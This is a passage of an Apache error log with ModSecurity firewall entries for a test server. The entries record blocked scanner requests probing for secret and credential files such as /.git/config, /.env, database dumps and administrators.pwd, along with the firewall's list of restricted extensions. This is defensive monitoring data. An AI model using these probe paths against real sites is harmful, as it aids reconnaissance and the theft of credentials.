[Wed Dec 11 00:01:24.716516 2024] [:error] [pid 3886383] [client 18.156.35.7:57834] [client 18.156.35.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jIRJ6iMfaO2lI_odrCNQAAAAE&quot;]
[Wed Dec 11 00:01:24.717660 2024] [:error] [pid 3886383] [client 18.156.35.7:57834] [client 18.156.35.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jIRJ6iMfaO2lI_odrCNQAAAAE&quot;]
[Wed Dec 11 00:01:24.717938 2024] [:error] [pid 3886383] [client 18.156.35.7:57834] [client 18.156.35.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jIRJ6iMfaO2lI_odrCNQAAAAE&quot;]
[Wed Dec 11 01:15:17.169639 2024] [:error] [pid 3886385] [client 103.102.230.8:40310] [client 103.102.230.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jZlc_K5tN6Qxq7Kpw6-AAAAAM&quot;]
[Wed Dec 11 01:15:17.170393 2024] [:error] [pid 3886385] [client 103.102.230.8:40310] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jZlc_K5tN6Qxq7Kpw6-AAAAAM&quot;]
[Wed Dec 11 01:15:17.170829 2024] [:error] [pid 3886385] [client 103.102.230.8:40310] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z1jZlc_K5tN6Qxq7Kpw6-AAAAAM&quot;]
[Mon Dec 30 03:02:40.965485 2024] [authz_core:error] [pid 135543] [client 167.99.182.39:36062] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Dec 30 03:02:41.938873 2024] [:error] [pid 135567] [client 167.99.182.39:36084] [client 167.99.182.39] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z3H_QXzb8KRxgJmseY93ywAAAA4&quot;]
[Mon Dec 30 03:02:41.939468 2024] [:error] [pid 135567] [client 167.99.182.39:36084] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z3H_QXzb8KRxgJmseY93ywAAAA4&quot;]
[Mon Dec 30 03:02:41.940143 2024] [:error] [pid 135567] [client 167.99.182.39:36084] [client 167.99.182.39] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;Z3H_QXzb8KRxgJmseY93ywAAAA4&quot;]
[Mon Dec 30 03:02:42.262622 2024] [:error] [pid 135569] [client 167.99.182.39:36094] [client 167.99.182.39] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3H_QpzGejKJeqTP-gTpNwAAABA&quot;]
[Mon Dec 30 03:02:42.263254 2024] [:error] [pid 135569] [client 167.99.182.39:36094] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3H_QpzGejKJeqTP-gTpNwAAABA&quot;]
[Mon Dec 30 03:02:42.263754 2024] [:error] [pid 135569] [client 167.99.182.39:36094] [client 167.99.182.39] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3H_QpzGejKJeqTP-gTpNwAAABA&quot;]
[Mon Dec 30 03:02:42.585462 2024] [:error] [pid 135571] [client 167.99.182.39:36100] [client 167.99.182.39] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3H_QhG6k9y2eDGmW5bjswAAABI&quot;]
[Mon Dec 30 03:02:42.586054 2024] [:error] [pid 135571] [client 167.99.182.39:36100] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3H_QhG6k9y2eDGmW5bjswAAABI&quot;]
[Mon Dec 30 03:02:42.586591 2024] [:error] [pid 135571] [client 167.99.182.39:36100] [client 167.99.182.39] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z3H_QhG6k9y2eDGmW5bjswAAABI&quot;]
[Mon Dec 30 10:12:55.202294 2024] [:error] [pid 135567] [client 213.152.176.252:59505] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934AAAAA4&quot;]
[Mon Dec 30 10:12:55.202805 2024] [:error] [pid 135567] [client 213.152.176.252:59505] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934AAAAA4&quot;]
[Mon Dec 30 10:12:55.203229 2024] [:error] [pid 135567] [client 213.152.176.252:59505] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934AAAAA4&quot;]
[Mon Dec 30 10:12:55.206322 2024] [:error] [pid 135570] [client 213.152.176.252:56021] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z3JkF8ZsCcvj_sdWRK9tTgAAABE&quot;]
[Mon Dec 30 10:12:55.206931 2024] [:error] [pid 135570] [client 213.152.176.252:56021] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z3JkF8ZsCcvj_sdWRK9tTgAAABE&quot;]
[Mon Dec 30 10:12:55.207262 2024] [:error] [pid 135570] [client 213.152.176.252:56021] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z3JkF8ZsCcvj_sdWRK9tTgAAABE&quot;]
[Mon Dec 30 10:12:55.207760 2024] [:error] [pid 135573] [client 213.152.176.252:29175] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzRwAAABQ&quot;]
[Mon Dec 30 10:12:55.208500 2024] [:error] [pid 135573] [client 213.152.176.252:29175] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzRwAAABQ&quot;]
[Mon Dec 30 10:12:55.208907 2024] [:error] [pid 135573] [client 213.152.176.252:29175] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzRwAAABQ&quot;]
[Mon Dec 30 10:12:55.210998 2024] [:error] [pid 135543] [client 213.152.176.252:22967] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoAAAAAQ&quot;]
[Mon Dec 30 10:12:55.211281 2024] [:error] [pid 135543] [client 213.152.176.252:22967] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoAAAAAQ&quot;]
[Mon Dec 30 10:12:55.211458 2024] [:error] [pid 135543] [client 213.152.176.252:22967] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoAAAAAQ&quot;]
[Mon Dec 30 10:12:55.211467 2024] [:error] [pid 135569] [client 213.152.176.252:62775] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSAAAABA&quot;]
[Mon Dec 30 10:12:55.211712 2024] [:error] [pid 135569] [client 213.152.176.252:62775] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSAAAABA&quot;]
[Mon Dec 30 10:12:55.211878 2024] [:error] [pid 135569] [client 213.152.176.252:62775] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSAAAABA&quot;]
[Mon Dec 30 10:12:55.213675 2024] [:error] [pid 135565] [client 213.152.176.252:36149] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver 